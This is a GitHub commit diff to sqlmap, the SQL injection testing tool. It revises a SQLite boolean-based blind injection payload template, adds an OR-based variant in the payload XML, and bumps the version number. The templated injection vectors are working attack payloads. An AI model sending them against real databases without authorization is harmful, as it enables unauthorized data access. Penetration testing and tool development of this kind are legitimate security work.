File tree Expand file tree Collapse file tree 2 files changed +25
-6
lines changed Expand file tree Collapse file tree 2 files changed +25
-6
lines changed Original file line number Diff line number Diff line change @@ -598,18 +598,37 @@ Tag: <test>
598
598
</test >
599
599
600
600
<test >
601
- <title >SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (json )</title >
601
+ <title >SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON )</title >
602
602
<stype >1</stype >
603
- <level >1 </level >
603
+ <level >2 </level >
604
604
<risk >1</risk >
605
605
<clause >1</clause >
606
606
<where >1</where >
607
- <vector >AND CASE WHEN [INFERENCE] THEN 1 ELSE json('') END </vector >
607
+ <vector >AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector >
608
+ <request >
609
+ <payload >AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload >
610
+ </request >
611
+ <response >
612
+ <comparison >AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison >
613
+ </response >
614
+ <details >
615
+ <dbms >SQLite</dbms >
616
+ </details >
617
+ </test >
618
+
619
+ <test >
620
+ <title >SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title >
621
+ <stype >1</stype >
622
+ <level >3</level >
623
+ <risk >3</risk >
624
+ <clause >1</clause >
625
+ <where >2</where >
626
+ <vector >OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector >
608
627
<request >
609
- <payload >AND CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE json(' ') END</payload >
628
+ <payload >OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR] ') END</payload >
610
629
</request >
611
630
<response >
612
- <comparison >AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE json(' ') END</comparison >
631
+ <comparison >OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR] ') END</comparison >
613
632
</response >
614
633
<details >
615
634
<dbms >SQLite</dbms >
Original file line number Diff line number Diff line change 20
20
from thirdparty .six import unichr as _unichr
21
21
22
22
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23
- VERSION = "1.7.8.8 "
23
+ VERSION = "1.7.8.9 "
24
24
TYPE = "dev" if VERSION .count ('.' ) > 2 and VERSION .split ('.' )[- 1 ] != '0' else "stable"
25
25
TYPE_COLORS = {"dev" : 33 , "stable" : 90 , "pip" : 34 }
26
26
VERSION_STRING = "sqlmap/%s#%s" % ('.' .join (VERSION .split ('.' )[:- 1 ]) if VERSION .count ('.' ) > 2 and VERSION .split ('.' )[- 1 ] == '0' else VERSION , TYPE )
You can’t perform that action at this time.
0 commit comments